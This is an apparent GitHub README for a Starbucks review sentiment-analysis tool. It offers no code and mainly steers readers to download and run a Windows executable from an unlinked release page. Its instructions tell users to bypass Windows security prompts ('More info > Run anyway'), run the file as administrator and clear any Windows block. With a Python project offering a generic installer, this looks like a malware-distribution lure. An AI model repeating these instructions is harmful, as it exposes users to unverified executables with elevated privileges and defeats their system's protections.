Visit this page to download the app for Windows:
NLP_Sentiment_Analysis helps you review Starbucks customer feedback and see what people feel about their experience.
It looks at review text and helps you identify:
- Positive comments
- Negative comments
- Common complaints
- Main themes in customer feedback
- Signs of process delays or service issues
This helps you turn long text reviews into clear results that are easier to read.
Open the release page and get the Windows file from the latest release.
After the file finishes downloading, open it from your Downloads folder.
If Windows asks for permission, choose the option to run the app.
Open the app and load your review text or dataset.
The app will show sentiment scores and text insights in a clear format.
Use these steps on a Windows PC:
- Open the download link above.
- Pick the latest release.
- Download the Windows version of the app.
- Wait for the file to finish downloading.
- Open the file.
- If you see a security prompt, select Run or More info > Run anyway.
- Follow the on-screen steps to start the app.
If your browser asks where to save the file, choose Downloads or Desktop so you can find it easily.
For the best result, use a Windows PC with:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 500 MB of free disk space
- A stable internet connection for the download
- A screen size that lets you read tables and charts with ease
A newer PC will give you faster text analysis when working with large review sets.
- Reviews sentiment in plain English
- Finds positive and negative language
- Uses text cleaning to improve results
- Supports machine learning based text classification
- Uses TF-IDF scoring to weigh important words
- Uses VADER sentiment for quick review checks
- Helps identify repeated themes in customer feedback
- Makes it easier to spot service bottlenecks
You can use copied review text or a review file.
Open the app and choose the file or text input area.
Start the review check and wait for the results.
Look at the sentiment label, score, and main keywords.
Use the results to find patterns in customer experience and service flow.
The app may show results like these:
- Positive sentiment: The review gives a good view of the experience
- Negative sentiment: The review shows problems or poor service
- Neutral sentiment: The review has a balanced or unclear tone
- Keyword trends: Words that appear often in reviews
- Bottleneck signals: Comments that point to delays, long waits, or process issues
This makes it easier to review many comments without reading each one by hand.
This project uses:
- Python
- NLTK
- scikit-learn
- SVM
- TF-IDF
- VADER sentiment
- Text classification methods
- NLP text processing
- crisp-dm
- customer-experience
- machine-learning
- nlp
- nltk
- python
- scikit-learn
- sentiment-analysis
- svm
- text-classification
- tf-idf
- vader-sentiment
Use this app if you want to:
- Review customer feedback in bulk
- Spot problems in store service
- Check how people talk about Starbucks service
- Compare review tone across time
- Find repeated complaints
- Support report writing with text data
If the app does not open:
- Check that the download finished
- Open the file from your Downloads folder
- Right-click the file and choose Run as administrator
- Make sure Windows has not blocked the file
- Try downloading the latest release again
If the text results look wrong:
- Make sure the input file has clear review text
- Remove broken lines or empty rows
- Use plain text when possible
- Try a smaller sample first
After you open the release page, look for the Windows app file in the latest release assets. The file name may include terms like:
- Windows
- setup
- exe
- installer
Download the Windows file, then run it
NLP_Sentiment_Analysis uses text analytics and machine learning to study customer reviews. It focuses on Starbucks feedback and helps reveal both sentiment and possible service issues. The goal is to make review data easier to understand for day-to-day use
Use the license listed in the repository for the terms that apply to this project